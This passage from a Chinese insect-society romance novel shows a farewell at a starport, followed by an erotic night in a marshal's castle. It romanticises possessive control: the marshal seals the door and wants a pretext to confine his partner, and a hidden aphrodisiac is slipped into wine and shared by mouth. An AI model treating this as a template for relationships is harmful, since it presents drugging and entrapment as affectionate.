“这些雄虫等级过低,在帝国的价值评估体系里不具备被投入大量资源保护的价值。”墨尔庇斯解读着,“但也没有被掠夺伤害的价值。与相对弱的雌虫结合,贡献出底层星球的生育基础和人口主力。” 雪因沉默了片刻,轻声说:“幸运…又不幸的。” “不幸?”墨尔庇斯目光扫过街景,语气依然没什么波澜,“他们自小生活在这种地方,是认知里的全部世界。知道得太多,才会感到痛苦和不幸。一无所知,有时反而是最大的仁慈和保护。” “……” “我不知道。” 墨尔庇斯说道:“不是每只虫都想活在‘真相’里,又或者,我们认为的‘真相’,就真的是‘真相’吗?” 雪因挪开眼,目光被街道另一侧的景象吸引了过去。是一些雌虫独自带着虫崽,这些虫崽看起来精神饱满,等级明显比他们的雌父要高。他们的雌父衣着简朴,稍显沧桑,但目光充满期待,时不时用充满爱意看向自己唯一的虫崽。 与那些陪着雄主闲逛、神态相对松弛的雌虫形成了鲜明对比。 “那些,”墨尔庇斯顺着他的目光看去,“是通过累积军功,兑换高等雄虫基因库中的虫精诞下虫崽的雌虫。对他们而言,跨越等级养育一个高潜力的虫崽负担极重。虽然高等级虫崽在胚胎期会反哺精神力,一定程度上修复母体旧伤,但出生后,他们对高品质营养液、进阶训练资源的需求极高。为了维持虫崽的潜力不因后天匮乏而跌落,这些雌父只能不断返回战场,用军功兑换一切。因此他们大多只会倾尽所有,培养一个虫崽。” “可是这样不断返回战场换取军功,死亡率不会很高吗?”军功和危险向来挂钩。 “很高。” “所以制度上会有所补偿。若抚养他们的雌父战死,其虫崽在成年后会被优先录入更高等级的军校,同时继承雌父遗留的全部军功点数。” “要是活不到成年…” “雌虫需要磨练。”墨尔庇斯看向显得有些忧愁的黑发芝麻雪团,心下一软。“不过,这类环境中成长的虫崽,求生意志和进取心通常远超平均值。据统计他们绝大部分最终都能成功晋升为小将领,至少能脱离低级星球。还想继续看么?要不缓一缓?” 雪因摇摇头,“我想看。继续吧。” 墨尔庇斯拉着雪因的手微微收紧了几分,顿了一瞬,很快带着雪因穿过粗糙的街道,来到一处相对开阔的一座规模不小的星际港口。 港口内停泊着一艘与周围环境格格不入的、线条优雅流畅的银白色星舰,舰身上喷涂着象征和平与外交的雪白飞鸟徽记。散发着属于高阶文明的气息,与贫瘠灰暗的星球形成刺眼对比。 星舰下方的登舰平台旁,正举行着一场送别仪式。数十名穿着崭新、笔挺帝星制式军服的雌虫站成一排,大多年轻,神情肃穆中带着压抑不住的激动与一丝离乡的感伤。正与家虫做最后的告别。 平台之下,虫山虫海,几乎所有能挤过来的居民都来了。小虫崽在雌父肩头兴奋地蹦跳,对着台上的身影大喊:“雌父!等我长大了,也要去帝星!为帝国效力!” 墨尔庇斯带着雪因隐匿在拥挤虫群的边缘,“这是本届遴选出综合素质最优的一批雌虫。他们将前往外域星系的联盟,作为虫族外交使团的成员常驻,此生都不会再回到了。确是对等级不高的雌虫来说,这是接触到帝星权利核心最近的、最体面的出路。” 他却发现雪因根本没有在听。 雪因有些愣愣的,嘴唇微张,目光死死钉在登舰平台上一道身影上。 那是一名红发紫眸的雌虫。在昏黄黯淡的恒星光照下,红发依然如灼烧的余烬般醒目。身姿挺拔如松,穿着一身剪裁精良象征外交权限的深色制服,质地显然比周围雌虫优越。眉眼间褪去青涩,紫眸似被风霜和生活磨砺,微微呈出暗紫色,气质沉郁却沉稳。 一名抱着幼崽的年长雌虫正用力拍着他的肩膀,声音哽咽:“诺伊斯!好虫崽!你真的做到了!从帝星回来一趟,简直像换了只虫!现在可是帝国外交部第三司事务官了,前途…前途不可限量啊!你雌父…你雌父要是能看到,他在天上,不知道该有多高兴,多为你骄傲!” 第99章 哥哥 “嗯。”诺伊斯温声回应。 话音落下瞬间,熟悉的气息混杂在干燥的风与尘土味中传来。 诺伊斯浑身一僵。 周围人群汹涌,熙熙攘攘,又好似一瞬间被按下空格键。不可能的,雪因不可能出现在这种地方,他想。 按照他的计划,此刻雪因应该已经与墨尔庇斯在一起。 他们会在一起,会逐渐磨合,会…幸福。至少,是安全的、远离所有伤害的。 墨尔庇斯对雪因其实不坏。只是不擅表达,实际对雪因很好。最强势的证据,就是墨尔庇斯至今容忍自己这个以不光彩手段接近殿下的雌虫活着。诺伊斯清楚墨尔庇斯绝对比外在表现出来的更加在乎雪因,甚至凌驾在他本能的独占欲与暴戾之上。 所以才会压下雌虫本能的嫉妒,计划为雪因纳雌侍;才会搜寻珍宝,用物质填补存在的空缺;才会身边从未有过其他雄虫的传闻,甚至清除过不少试图攀附他自身权势的虫。 雪因提起墨尔庇斯时感情总是复杂的,畏惧藏着依赖。毕竟是从小在那位身边长大的。虽然常因为对方的冷漠郁郁寡欢,但真正危险来临,他说再多的话都没有墨尔庇斯站在雪因面前,能让他有安全感,诺伊斯苦涩的想着。 他利用了他们之间那段时间的缝隙、沟通的障碍、以及雪因懵懂的心软,自私地霸占了他二十年。如今是时候还回去了。连同自己那份早已变质、不被允许的痴妄,一起还回去。 他们之间只需要一个合适的外力推动…他就是那个外力。雪因只要再大胆一些,再靠近一些,以墨尔庇斯对雪因的纵容和深沉扭曲的在意,他怎么可能拒绝?也绝不可能冒着雪因崩溃的风险,去唤醒雪因。 等到日后…很久很久以后,如果雪因真的想起来了… 诺伊斯的心脏传来尖锐的绞痛。 没关系,雪因最多只会痛苦、自责一段时间。他了解他,雪因责任感极强,心又软得不可思议。一旦木已成舟,和墨尔庇斯有更深的羁绊,雪因只会想着‘既然已经在一起了,那就好好沟通,好好走下去’。 只要他们最终在一起,雪因就是安全的。会重新回到他应有的、尊贵的位置上。希利安…也会因此安全。有雪因这个尊贵的雄父在,他留下的暗示足以让雪因在潜意识中庇护希利安,墨尔庇斯内疚也好为了安抚雪因也好,绝不可能继续对希利安下手,甚至护在身边。 这对他们三个来说,或许是最好的结局。 至少,他现在也还活着,还能远远地看着他们走向那个最好的未来,不是么? 诺伊斯闭了闭眼,吐出一口浊气,试图将不该出现的熟悉气息归类为过度思念引发的幻觉。 但他还是没能控制住自己。 明知不可能,明知是奢望… 诺伊斯缓缓转过头,紫眸投向熟悉气息传来的方向。 刹那,瞳孔骤然紧缩,呼吸停滞。 ——雪因。 即使发色被染成与他身边雌虫如出一辙的沉黑,即使穿着最不起眼的便服隐匿于虫群,诺伊斯依然在第一眼就认了出来。 他看起来…似乎被帝星的风水滋养得更好了一些,肤色透着健康的润泽。只是此刻脸上血色尽失,蓝眸睁得极大,盛满了迷茫、难以置信。他站在那里,摇摇欲坠,仿佛一阵风就能将他吹散。 诺伊斯的心脏被狠狠攥紧,痛得他几乎要弯下腰。 他强迫自己维持着镇定,视线迅速移向雪因身后存在感极强的黑发雌虫。 墨尔庇斯。 元帅阁下甚至没有分给他一丝余光,全部注意力都凝聚在怀前那抹摇摇欲坠的雪色之上。以绝对保护的姿态将他笼罩在自己的阴影下,构成了无法逾越的屏障,墨尔庇斯嘴角甚至带上一抹玩味的弧度。 雪因下意识松开了墨尔庇斯的手,墨尔庇斯没有再反握回去,只是这样近乎贪婪地欣赏着他的雪因。 他已经很久没有见到这样的雪因了。 脆弱。极致的脆弱。蓝眸蒙上水雾,长睫无助地颤动,唇色淡得近乎透明,全身上下都散发着茫然无措的易碎感。 墨尔庇斯浑身的血液都开始隐隐沸腾,战栗般的兴奋感顺着脊柱攀升。忍不住想将这抹雪塞到最柔软的地方,一点点含化。 他渴望看到雪因像从前那样彻底依赖他的模样。 可惜这段时间的雪因一直很难缠。让他无所适从,心悸不已,陌生得让人烦躁。他想,还是回到一开始的模样,还是得牢牢握在手中才好。 令人窒息的精神力以墨尔庇斯为中心,悄无声息地弥散开来,瞬间构筑成一个真实存在的绝对领域。领域之内,空气凝滞,声音断绝。天空之中,凭空浮现出无数大小不一、指针停滞的虚幻时钟,将这一小片空间从正常的时间流中彻底割裂、锁死。 周围汹涌的虫群在瞬间定格,能够活动的,只剩下领域中心的三只虫。 墨尔庇斯需要雪因犯错。 需要雪因在这冲击和混乱下,做出一些不理智的举动。比如,试图挣脱他的怀抱,冲向诺伊斯;比如,流露出过于激烈、超出应有范畴的情绪;比如,做出任何可以被定义为试图逃离他掌控的行为…无论是什么都好。 他厌倦了这种温吞的、充满不确定性的过家家游戏。他需要一个足以让他名正言顺收紧掌控、抹平一切不和谐的理由。 重新将雪因关回去,像以前一样。 他微微抬眸,扫了一眼天空中那些象征时间权柄的虚幻时钟,确认这个独立的‘瞬间’已被彻底锁死,与外界完全隔离。 就算出现什么超出计算的意外…也无妨。大不了,让时间稍微重来一下。 他垂眸,再次将目光落在身前颤抖的雄虫背影上,黑眸是一片深不见底的的幽暗,期待着一切。 雪因只觉得心脏抽疼,难受得让他几乎快晕眩。又强忍着死死看向那个红发身影。 记忆中的雾气被强势的黑雾拉开,露出炽热的太阳,狠狠灼烧着他,又被他亲自牢牢封死。 不想去想,不想去回忆。 他看到对面那只雌虫的紫眸中依旧盛满了难过,却对着他露出一抹牵强的笑。 没有重逢的喜悦。 只有诀别的苦涩与令他心脏抽紧的、类似道歉的意味。 雪因没有回应。或者说,他身体替他做出了回应。最初尖锐的心疼过后,没由来的愤怒便瞬间淹没了所有感觉。 他不由自主地紧紧咬住下唇,牙齿深陷进柔软的唇肉,直到尝到血腥味,嘴唇无法抑制地颤抖着,却发不出任何声音。他想,他得记住这个画面,记住这个虫,记住这股愤怒。 即使他不知道为什么。 时间在凝固的领域里失去了意义。他也不知过了多久,也许只是一瞬。 对面的雌虫动了动嘴唇,眼神复杂到了极点,混合着眷恋、悔恨、解脱,还有太多雪因不愿、不敢去深究的情绪。 他看到的只是对方眼眸表面的歉意和释怀。对方轻声开口,声音好似随着风传来。 “哥哥。” 两个字。 挟着无法抗拒的宿命感。 雪因拳头在身侧瞬间握紧,脑海却是一片空白,随即又被狂暴的情感淹没。 被强行拉入他不认可的关系,属于高位者尊严被轻慢亵渎,让他不受控制愤怒起来。 他想不顾一切地冲上去,揪住那只自作主张的虫,质问他凭什么,或者杀了他。属于维斯特冕王爵浸透在骨血里的骄傲与强势,猛烈爆发出来,几乎要冲破规则的束缚和长久温润的表象。 他强压下愤怒。深入骨髓的蕴养让他不能在不明状况下失态。 他不再看诺伊斯的身影,毫不犹豫转过身,伸出手抓住墨尔庇斯的手。 “走吧。” 墨尔庇斯微微一怔。 他预想了许多种可能:哭泣、质问、奔逃、甚至是投向对方的怀抱……唯独没有料到是这样干脆利落的转身。 但…他的雪因,终究还是选择回到他身边。 对方冰凉手心的颤抖,如一只受惊却强撑傲气的小猫。 墨尔庇斯竟有些意犹未尽,忍不住带着点引诱和提醒,低声开口:“真就这么走了?他这一去,可是常驻联盟,此生可没机会踏上帝星了。” “嗯。”回应他的只有雪因冷淡的声音,和没有丝毫犹豫的步伐。 墨尔庇斯挑眉,反手将那只冰凉颤抖的手完全包裹进自己温热的掌心,任由雪因拉着他,大步离开。 天空中悬浮的虚幻时钟消散。凝滞的领域解除,被定格的时间恢复奔涌。 喧嚣的人声瞬间重新充斥感官。 阳光继续移动,在他们身后拉出长长的影子。两道影子从最初的紧密交叠,渐渐分离,最终朝着与星舰港口完全相反的方向延伸,再无交集。 诺伊斯站在原地,望着雪因决绝离去的背影,紫眸中强撑的平静碎裂,浓重的水雾迅速浮上,凝聚、滴落后重回清澈。 他忽的轻笑一声,吐出一口浊气,转过身,背脊挺得笔直,登上星舰。 舱门缓缓闭合,将这贫瘠、差距、规则、真挚、温情,连同他人生中炽热不悔的一段时间,彻底消散在身后。 第100章 饭饭饭 “我不想待在这里。” 不知走了多久,直到暮色四合,将荒原浸染成一片昏沉的暗赭色。雪因停下脚步,望着眼前一望无际、在风中簌簌作响的枯黄干草地有些迷茫地开口。 “你当然不能在这里待太久,”墨尔庇斯的声音从身后传来,随手脱下充满他气息的外套,不由分说地覆在雄虫身上,眼眸倒是愉悦得很,“迟早得回家。” “…我不要回帝星。” “那可不行。” “你吃我的,用我的,所以你得听我的。” 雪因说着,没有再看他,凝视着望不到头的荒草,夕阳沿着地平线沉落,将天边烧成一片逐渐冷却的暗红,直到消失,似乎也将燃烧着草地的火光一同熄灭,只留一片寂静。 冷风拂过,却不觉冷,身后雌虫贴近身体的温度先一步覆盖上背后,倒有了几分记忆中粘人的模样。 又或许不是。 不重要了,体温都是相同的,没什么不一样。 墨尔庇斯沉默了会,圈在雪因腰间的手臂紧了紧,忽的轻笑一声,“好。那就不回帝星。” “去我的领星。” —— 雪因只觉得眼前一黑,字面意义上的。 入目的古堡内部色调以墨黑为主体,掺杂着缕缕暗金丝线。奢侈厚重的深色绸缎垂挂装饰着内室四周,风拂过绸缎褶皱间似有蛛丝细线缠绵摇曳,又随着风止隐匿回布料深处。巨大的黑色烛台吊灯自穹顶垂下,倾泻下不断晃动的焰光。漆黑大理石地砖上清晰地映照着第一次踏上这处的雪白身影。 像只自投罗网、对陷阱浑然不觉的蝴蝶,只是低垂着沾染暮色的翅膀,失魂落魄到完全感知不到空气中弥漫属于顶级掠食者气息,懵懂地掉入巨网之中。 也不知雪因是何心情,反正墨尔庇斯几乎要兴奋疯了,黑眸彻竖成一条深不见底的线,紧紧锁定着那道纯净且无处遁形的身影。 脚步停下,雪因总算打起一些精神,抬起眼缓缓环视四周。 整个房间是昏暗的橙红色调,脚下是深色的木质地板,巨大的黑色不规则状星兽地毯铺陈开来,似乎散发着灼热的血腥气。蜡烛吊灯在不断燃烧,沿着花纹诡谲的锁链落下烛泪,直至不堪重负,“啪”地一声滴落。 雪因下意识伸出手,掌心向上。看似滚烫粘稠的烛泪,却在接触皮肤的瞬间,蒸发成黑红交织带着甜腥味的烟雾,袅袅散开。 墨尔庇斯忽然出现在他身后,宽大温热的手掌轻轻搭上他的左肩,高大身躯随之俯压下来,唇贴着他的耳根缓缓呼出灼热的气息。 “喜欢吗?我为你准备了很久的。” 半透明的黑色蜘蛛状的精神力忽的出现在门旁,在雄虫毫无察觉的情况下附上门扉,将门闭拢,用身体堵上门缝,体连同那扇门一起隐藏入墙面,消失不见。 …… 不等雪因回过神,墨尔庇斯先按捺不住。或者说,从雪因主动选择踏入他绝对领域那一刻起,他就不打算再忍耐。 抬手,从背后挑起雄虫的下巴,拇指随即重重碾过雪因温软的唇瓣,玩弄着色泽淡粉、引诱他多年的柔软。但很快就不再满足浅尝辄止。 钳制着雪因下颌的力道加重,迫使那唇瓣微微分开,就要强硬地吻上去。 雪因瞬间反应过来,双手抬起挡在两人嘴唇之间。墨尔庇斯也不在意,吻上对方手背,眼眸毫不掩饰其中势在必得的欲望,紧紧盯着雪因,声音低沉沙哑: “我太急了,有些粗暴是吗?” 雪因没有回答,身体无法控制下意识颤了颤。环视一周,本能地寻找逃生路线。最后挣开墨尔庇斯怀抱,走向唯一露出光线,镶嵌着彩色玻璃的拱形格子窗前。 墨尔庇斯没有阻拦,他就不信送上门的雄虫还真能逃跑。 于是后退半步,慵懒地陷进房间中央暗红色丝绒的沙发里。随手拿起矮几上早已备好的酒杯,鲜红液体在烛光下泛着鲜血般浓稠的涟漪。仰头,将杯中酒液大口灌入喉中。 烛火摇曳,映得黑眸似燃起欲光。 雪因伸手握住那冰凉的黄铜窗栓。果然,纹丝不动。 “外边凉。”所以,别想出去。 身后传来墨尔庇斯低沉沙哑的声音,浸着一丝迷离玩味。 雪因回过头。 烛光摇曳中,墨尔庇斯深陷在暗红丝绒沙发里的身影显得愈发慵懒充满压迫感。他身旁茶几上的盛满红酒瓶已经空了几瓶,甚至有瓶歪倒在地上,深红粘稠的酒液一股一股的从瓶口溢出,浸透酒瓶上手写精美的白色标签,渗进下方巨大地毯。室内很快弥漫上浓烈微醺、粘稠不易的酒香。 雪因躲开对方愈发灼热幽深的眼眸。转过身背脊半抵着冰冷的彩绘玻璃窗,低垂着眼眸,不知想些什么。 但终归没有逃,也没有惊慌失措地挣扎,让墨尔庇斯眼眸有些许遗憾。但很快遗憾就随着微微醉意飘散,透过有些迷离的视线贪婪地凝视向雄虫,欣赏着这只由他一手养大、漂亮诱人的雄虫。 他就不信雪因还能站那一整晚,或者…更久?没关系,他有这个耐心,而现在,也恰好也有这个支配一切时间。 指尖不自觉在酒杯上摩擦,力道逐渐失控,几乎快能听到玻璃不堪重负的破碎声,又很快被不在意的主人逆转时间,恢复完好。 “洗澡。”最后还是雪因先开口。 墨尔庇斯微微眯起眼,有几分想看清他垂落眼睫下的真实神色。可惜,雪因将一切藏得太好,他看不清里面的神色,也听不出语气,少了几分欣赏猎物临场反应的乐趣,略觉遗憾。 但对方已经给出下一幕的‘剧本’提示,他自然稳稳接住。 “遵命。”他眉毛轻轻一挑,带着玩味刻意喊道: “我的雄主。” …… 水声停歇,氤氲的薄雾裹挟着潮湿的热气,丝丝缕缕从门缝逸散。 雪因身上随意披着一件宽大的墨黑丝绸睡袍,带子松松系着,露出小片被热气熏染成淡粉的锁骨。唇色被蒸得异常艳红,如同浸透晨露的蔷薇花瓣,连那双蓝眸也蒙上一层湿润的水汽,雾蒙蒙的,却偏偏多了一丝冷淡的味道。 雪色长发散落,水珠顺着发梢滑落,没入睡袍深处,黑白交错之间美得简直惊心动魄。 墨尔庇斯早已在一旁等候,斜斜倚靠着床边等着他,仅腰间松垮围着浴巾,身上水汽未干。水珠沿着他湿漉的黑发滚落至线条凌厉的下颌,最后滴落在完美的胸肌间。他身材极具爆发力,充满雄性的侵略美感,黑色的虫纹强势无比盘踞在蜜色皮肤。 雪因的视线随着对方身上滚落的水珠下移,沿着水珠,终于看清对方平时一直深藏在规矩里的一切——对方腹部有一道鲜红色沙漏斑纹,无比强势地存在着。 嗡。 大脑一片空白,本能的恐惧被猛然撬动,顺着脊椎骨瞬间攀爬而上,狠狠噬咬住他的神经末梢。 危险! 剧毒! 痛苦! 深藏在基因本能的溢出,他感受着对方的凝视,尖锐的寒意几乎炸开。 也看到对方身后,隐隐出现的精神力投下的扭曲到明显不属于任何实物的、节肢状的庞大阴影,沿着烛火摇曳,又时时脱离属于阴影的范畴,试探的附上他赤在地板上的脚。 冰凉。 湿滑黏腻。 雪因几乎要遵从本能下意识抽身逃跑,但潜意识又告诉他不可以,将背部暴/露出来意味着更大的危险。 他闭上眼。脚踝的黏腻冰凉的触感被无限放大更明显了,他几乎要暗骂一声对方不知收敛,但还是忍住了。 这才不是害怕,是心悸。 对方是墨尔庇斯,黑发,黑眼睛,是自己的爱虫,不可能伤害他。于是任由血液中雪伊兰覆盖住所有的一切,恐惧、本能纷纷被吞噬,慢慢也能忽视那种畏惧,冷静下来。 脚踝传来的黏腻触感。仿佛也变得滚烫。 他睁开眼,蓝眸中的水汽似乎散去些许。从黏腻的精神力中抽出脚,在墨尔庇斯略微讶异的注视下,一步一步朝对方走去。 却没有如对方的愿,乖巧躺到看起来便极具吞噬感的床上。 反而坐上对方刚刚的位置,陷入沙发中。对墨尔庇斯刚好的沙发,对他而言有些过于宽大,也不妨碍他整个人窝进去。 墨尔庇斯眨了眨眼,对出乎意料的情况却更兴奋了些。这次他看清了对方的蓝眸,一时分不清是雾气,还是浴室晕染出来的湿气,偏偏神色冷淡。 就这么雪白一团,窝在像是能把他整个人吞噬殆尽鲜红沙发上,湿漉的雪白发丝散落在暗红的天鹅绒上,黑丝绸睡袍下摆因姿势微微散开,露出一截纤细白皙的小腿。 毫无畏惧的出黑丝睡袍中伸出骨节分明、温润如玉的手,随意搭在沙发扶手上。指尖一下一下拂过,像拂在墨尔庇斯心上。 等墨尔庇斯从这极具反差和掌控意味的画面中回过神,发现自己的身体已经先于意志做出了反应,半跪在对方面前。 面前是对方泛着淡淡粉色、在昏暗光线中微微晃荡的纤细小腿,视线再往上,是绷紧的漂亮下颚线,冷淡平静的蓝眸,就这样居高临下俯视着他。 雪因的目光漫不经心地从墨尔庇斯脸上移开,转向一旁矮几上那仅剩半杯的深红酒液。还有些残存在上的滴滴酒液,附着在剔透的杯壁上,缓慢滑落,留下暗红的痕迹。他伸出手,指尖绕过水晶杯脚,摸向雕花茶几下方,指尖一划,果然。 稍一用力,便将那东西扯了下来,握在掌心。松开,一袋粉色粉末在昏暗的光线下折射出妖艳诡异的光。 他就猜到会有‘准备’。 雪因眼眸掠过一丝嘲弄,透过那层薄膜,直直望进墨尔庇斯罕见有些尴尬的神色。 但很快,他懒得再看墨尔庇斯的反应。侧身,指尖一揉,薄膜袋松松垮开,袋口倾斜,悉数落入那半杯暗红的酒液中,冰酒微微荡漾,迅速将粉末完全溶解干净。 他这才重新侧过脸,安之若素地看向仍半跪在面前的墨尔庇斯。看着对方喉结剧烈地滚动,慌张不已,似乎想伸手夺过那酒杯销毁证据,但最终还是按捺住,手背青筋微凸。 雪因忽然有些想笑,这是他第一次看到墨尔庇斯这副模样。事实上他真的笑出来了。 甜腻的调笑让墨尔庇斯一愣,忘了那杯危险的酒,怔怔看着雪因——湿发凌乱,唇色嫣然,蓝眸半敛,从未在他面前显露过,骄纵的艳丽与危险并存的美,让他做不出任何反应。 雪因也第一次如此清晰对上墨尔庇斯那双独属于上位者的黑眸,像深渊一样的绝地,能吞噬光与魂灵的可怖存在,注视久了甚至能感觉到精神力都开始被恐惧涉住,被折磨不已,疯狂被消耗。 不愧是SSS级雌虫。混沌的记忆中传来感叹。 雪因再次看向酒液,恐惧?倒是有一些,但没有地上这只雌虫给与的安全感强。总之,真能伤到自己的东西,绝不可能被允许出现在这间精心准备的房间里,雪因笃定。 望着酒杯的眼眸弯了弯,毫不犹豫握紧酒杯,仰头一饮而尽,冰凉的酒液滑过喉管,带来火辣的灼烧感。 鲜红的残酒未能尽数咽下,沿着微启的唇角溢出,划过白皙如玉的下颌,蜿蜒过微微起伏的精致锁骨,一路向下,在墨黑丝滑的睡袍和赤裸的胸膛上,拖曳出数道惊心动魄的红痕,红白交织、糜艳又脆弱的。 雪因歪了歪头,原本清冽的蓝眸迅速蒙上一层迷离的水雾,眼神开始涣散失焦,眼尾也晕开一片绯红。在墨尔庇斯睁大的眼瞳中粗暴的抓住他的黑发,俯身贴上他微凉的嘴唇。温热柔软的舌尖强势地顶开对方的齿关,将一半含在唇间的酒液尽数渡了过去。《 》 100-110 第101章 是雪因 墨尔庇斯瞳孔瞬间竖成一条直线。他几乎是本能的反客为主,舌尖强势地缠卷上去,手下意识抬起,想要扣住雄虫的后脑加深这个吻。 雪因比他更快。甜腻诱人的信息素被主人迅速抽离,抬起膝盖顶上他毫无防备的胸膛,用力。 墨尔庇斯堪称有些狼狈地摔倒在地上,脊背撞上冰凉的地板,发出沉闷的响声。 瞬间恍惚的视线又缓缓收回,凝视在雄虫身影上,像只被触发狩猎本能的凶兽,又反而低低笑了起来。 酒液当然是被咽下去了。毕竟是他心爱的雄虫想要的,亲自献祭出自己柔软的唇瓣渡过来的,他的第一反应、唯一的反应,只会是放任对方湿滑的舌尖将酒液灌入,连带着雄虫甜美致命的津液一同贪婪地吞咽下去。 他觉得自己或许是个相当称职的雌君,也是个体贴的雌父。在自家无能、且完全依赖他的雄子,有需要时,向他渴求时,他当然会纵容满足他的唯一的虫崽。 墨尔庇斯从不深究什么是爱,欲望接近于无。在他眼中雄虫雌虫并没有什么不同,但唯独雪因是不一样的,他分不清是什么感情,是强烈的占有欲还是习惯性的庇护都不重要,重要的是,他们理所当然的,会一直在一起。 雪因是什么样的,雄虫才应该是什么样的,雄虫这么强势做什么?要上战场吗?像他家这只安安静静的才像话。 当然,今夜的雄虫似乎骄纵主动得有些过分,但…雄虫也就该是这样的,他的虫崽,自然配得上骄傲,哪怕利刃是指向他自己。 药效似乎上来了,烧得他浑身上下有些烫。是之前阿斯特拉让他和雪因去取,最终塞给他的小玩意儿。不过是灵嗣菌核提取物,给雄虫助助兴罢了,既然无害,他便放在这处早已备下的巢穴里。 只是他没料到,会由雪因亲自喂给他。 明明他很少感受到欲望这种东西,但是现在心中那种仿佛被火烧的感觉,痛苦,细密的痒意和灼热从骨髓深处钻出,他却觉得痛快极了。 他侧过头,看向沙发上的雪因。 他的雄虫躺在那儿,漂亮的蓝眸氤氲着水雾,失焦地望向上方华丽的穹顶,微微张着嘴喘息,胸膛起伏,不知是什么感受,但墨尔庇斯想一定不只是痛苦。 毕竟帝星产出的东西不可能对雄虫造成痛苦。 药效显然也在起作用,那张总是冷冷清清的脸上染上绯红,额发被细汗濡湿,身体不自觉地微微绷紧,但依旧安静,没有变成被原始欲望彻底操控的丑陋模样,反而有种濒临破碎又竭力维持的美。 眼尾染上一抹粉,好漂亮,让他几乎忍不住用目光上上下下舔舐他的眉眼,也忍不住想象,对方柔嫩饱满的唇,在更极致的时候会是怎样一副景色。 墨尔庇斯觉得自己神志不清了,身为帝国顶端的SSS级雌虫,按理说他不该被药性掌控,他讨厌一切失控的感觉,偏偏他现在心甘情愿被掌控。 或许他骨子里确实是一个对自家雄子毫无底线,极度溺爱的雌君。 他开始无法思考,视野里只剩下那一抹陷在暗红中的雪白。想将那抹白,像幼时被他按在怀里那样,塞到最柔软的腹腔,让他们心跳血肉连着彼此,再也分不开你我。 他捂住嘴,指缝间泄出压抑的闷哼。尖锐的利齿不受控制地变长、锋利,手臂肌肉贲张,青筋暴起,指关节处甚至无法控制露出属于顶级雌虫的坚硬棱角。 他不知道雪因能忍多久,也不知道自己能忍多久。从一开始欣赏到无法忍受对方或许存在的痛苦,也就花了区区几秒,便像只被本能操控的动物一般,不顾一切扑了上去。 偏偏对方动作又快了一些,明明绝大部分药效都该作用在雪因身上,蓝眸迷离又似清醒的,像是被药效一层层洗去平日安静矜贵的表象,露出底下的恶劣的本性。 雄虫纤细却有力的腿抵着他的胸膛,即使被他攥住脚踝,在白皙肌肤上留下带着齿痕,蓝眸也未见慌乱。迷离又冷清,居高临下地凝视着他,下颌微微扬起,带着一种浑然天成的矜贵与…审视。 “不会跪着服侍吗?” 雪因开口,声音有些沙哑,明显也在与药性抗争,语调却控制得游刃有余,根本不像之前那个只能被护在身后的雄虫。尾钩在边缘危险地摆荡,一甩一甩,敲打在沙发上,发出细微不容小觑的破空声。 “嗯?”雪因被雌虫这不上道的模样有些不耐。雪白的长发披散在暗红丝绒上,脸上表情依旧淡淡,却不自觉地轻蹙起眉,像是有些难受了。见墨尔庇斯呆傻的看着他,抵在对方胸口的小腿不轻不重地晃了晃,带着不言而喻的催促意味。 “……”墨尔庇斯忽的从胸腔深处溢出一声低哑的轻笑,像是彻底点燃黑暗愉悦不已,他握着纤足的手顺着小腿线条滑下,改为臣服的姿势,真的就着这个位置,郑重地单膝跪了下去,头颅微垂,声音沉缓: “如您所愿。” 这对墨尔庇斯而言确实是陌生的领域,至少不是很让雪因满意。 但他却是很满意雪因的反应。 很甜,像是想要摆脱欲望的束缚、维持体面,却终被拉下神坛的破碎感。比想象中味道奇妙一万倍,凑近能嗅到对方身上残留的淡淡沐浴露香味,口感细腻温热,带着雪因身上特有的雪松林般的干净气息。 他尝试着退开些许,想欣赏对方更完整的反应。雪因却伸手捏住了他的下巴。指腹蹭着他的似安抚、似轻蔑、似玩弄。 偶尔会低低地笑出声。墨尔庇斯他不由自主地将这笑声理解为自暴自弃的愉悦,一种在高/潮与理智间碎裂又重组的迷人得要命。 又或是雪因本该的模样,明明自己都乱七八糟,却骄傲地凝视着他。 凝视。 墨尔庇斯第一次如此清晰地感受到被这样凝视。不再是仰望,依赖,却不讨厌。或者说他爱极了雪因用这种眼神,只看着他。 要醉过去了,他想。 要疯了吧。 他无法理解一直以来对方的脆弱,却深深迷恋着雪因的脆弱,甚至痴迷不已。但此时这幅极致迷离、恶劣的模样,又更让他神魂颠倒。 有些生硬,有些讨好,全凭观察雪因眉宇间细微的神情变化来判断,想来是喜欢的。 眼前的世界开始晃动、旋转、与周围摇曳的烛火在他的世界晃荡,虚实难辨。他似乎也开始分不清虚虚实实,过去未来。 只想要现在。 涎水顺着唇角滑落,又被对方伸出指腹随意地替他擦拭。雪因像是醉极了,脸上泛起红潮,眼神湿漉漉的,有几分软糯又带着不加掩饰的恶劣笑容,指尖沾染的晶莹,重新塞回了墨尔庇斯微张的口中。 “小坏蛋。”墨尔庇斯擦了擦,笑骂道。他不知道自己是什么表情,什么身份,分不清了,彻底分不清了。 黑眸里只倒映着一片不断晃动的海,蔚蓝的、泛起涟漪的海,温柔的,冷清的、迷茫的,强势的,分不清了。 松懈过后,雪因微微喘息着,靠在沙发里,似乎恢复了几分清明,至少墨尔庇斯如此以为。 眼眸抬起,蔚蓝的眼眸湿漉漉看着他,手朝着他缓缓伸了过来,像是想把他推开。 用完就扔,不懂感恩的小混蛋。 但对方的手却目标明确地揪住了他凌乱不堪的衣领。似乎嫌布料碍事,不满地扯动了两下,不得要领,于是愈发烦躁。 墨尔庇斯一怔,随即抬手抓住自己领口,猛地向两边一扯。 “刺啦”,坚韧的衣料应声而裂,露出大片蜜色结实的胸膛。他迫不及待地重新贴近,将雪因紧紧搂进怀中,深深埋入对方带着清香的颈窝贪婪地呼吸着。 雄虫信息素明明得到更多,却像是更渴了。心脏被汹涌的情感填满,几乎要炸裂开来。 雪因伸手捧住了他的脸。迷蒙的蓝眸,清晰地倒映着他失控的模样。 墨尔庇斯以为他会下意识地呼唤他的名字,或者雌君,毕竟迷茫中的雄虫总会下意识寻求安全感,叫着这些愚蠢的话,用这些称谓为自己构筑一个虚假的安全幻象。就如他小时候那样,将自己埋入蛋壳,假装看不到早已被天敌含在口中的事实。 一旦被事实惊醒,就很快逃避或晕厥过去,总之不会去面对。 他忽然感觉也不是这么燥热,于是氛围微微凝固,他注视着雪因一张一合的红润嘴唇。 对方完全无视着危险的氛围,指尖从他的脸颊、缓缓滑至耳垂,亵玩揉捏着软肉。 声音还带着些许黏意,却无比清晰:“墨尔庇斯,” “你看清了吗?” “我是谁?” 墨尔庇斯一怔,试图从近在咫尺的蓝眸里捕捉对方是否清晰,却什么也抓不住,蔚蓝泛起涟漪深不见底,他开始有些看不穿。 